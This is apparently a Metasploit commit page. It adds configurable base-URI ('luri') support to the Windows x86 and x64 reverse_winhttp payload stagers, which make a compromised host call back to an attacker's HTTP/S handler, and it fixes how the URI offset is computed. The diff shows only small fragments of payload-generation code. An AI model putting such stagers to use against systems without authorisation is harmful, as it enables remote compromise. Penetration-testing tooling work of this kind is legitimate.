Skip to content

Commit 7e4645a

Browse files
committed
Land rapid7#7527, Add LURI support to the reverse_http/s stagers
2 parents f50e609 + 47ac122 commit 7e4645a

File tree

2 files changed

+6
-6
lines changed

2 files changed

+6
-6
lines changed

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def generate(opts={})
3737

3838
# Add extra options if we have enough space
3939
if self.available_space && required_space <= self.available_space
40-
conf[:uri] = generate_uri
40+
conf[:uri] = luri + generate_uri
4141
conf[:exitfunk] = datastore['EXITFUNC']
4242
conf[:verify_cert_hash] = opts[:verify_cert_hash]
4343
conf[:proxy_host] = datastore['PayloadProxyHost']
@@ -49,7 +49,7 @@ def generate(opts={})
4949
conf[:proxy_ie] = datastore['PayloadProxyIE']
5050
else
5151
# Otherwise default to small URIs
52-
conf[:uri] = generate_small_uri
52+
conf[:uri] = luri + generate_small_uri
5353
end
5454

5555
generate_reverse_winhttp(conf)
@@ -139,7 +139,7 @@ def asm_reverse_winhttp(opts={})
139139
full_url << opts[:uri]
140140

141141
encoded_full_url = asm_generate_wchar_array(full_url)
142-
encoded_uri_index = full_url.rindex('/') * 2
142+
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
143143

144144
if opts[:ssl] && opts[:verify_cert_hash]
145145
verify_ssl = true

lib/msf/core/payload/windows/x64/reverse_winhttp.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ def generate(opts={})
3838

3939
# Add extra options if we have enough space
4040
if self.available_space && required_space <= self.available_space
41-
conf[:uri] = generate_uri
41+
conf[:uri] = luri + generate_uri
4242
conf[:exitfunk] = datastore['EXITFUNC']
4343
conf[:verify_cert_hash] = opts[:verify_cert_hash]
4444
conf[:proxy_host] = datastore['PayloadProxyHost']
@@ -50,7 +50,7 @@ def generate(opts={})
5050
conf[:proxy_ie] = datastore['PayloadProxyIE']
5151
else
5252
# Otherwise default to small URIs
53-
conf[:uri] = generate_small_uri
53+
conf[:uri] = luri + generate_small_uri
5454
end
5555

5656
generate_reverse_winhttp(conf)
@@ -141,7 +141,7 @@ def asm_reverse_winhttp(opts={})
141141
full_url << opts[:uri]
142142

143143
encoded_full_url = asm_generate_wchar_array(full_url)
144-
encoded_uri_index = full_url.rindex('/') * 2
144+
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
145145

146146
if opts[:ssl] && opts[:verify_cert_hash]
147147
verify_ssl = true

0 commit comments

Comments
 (0)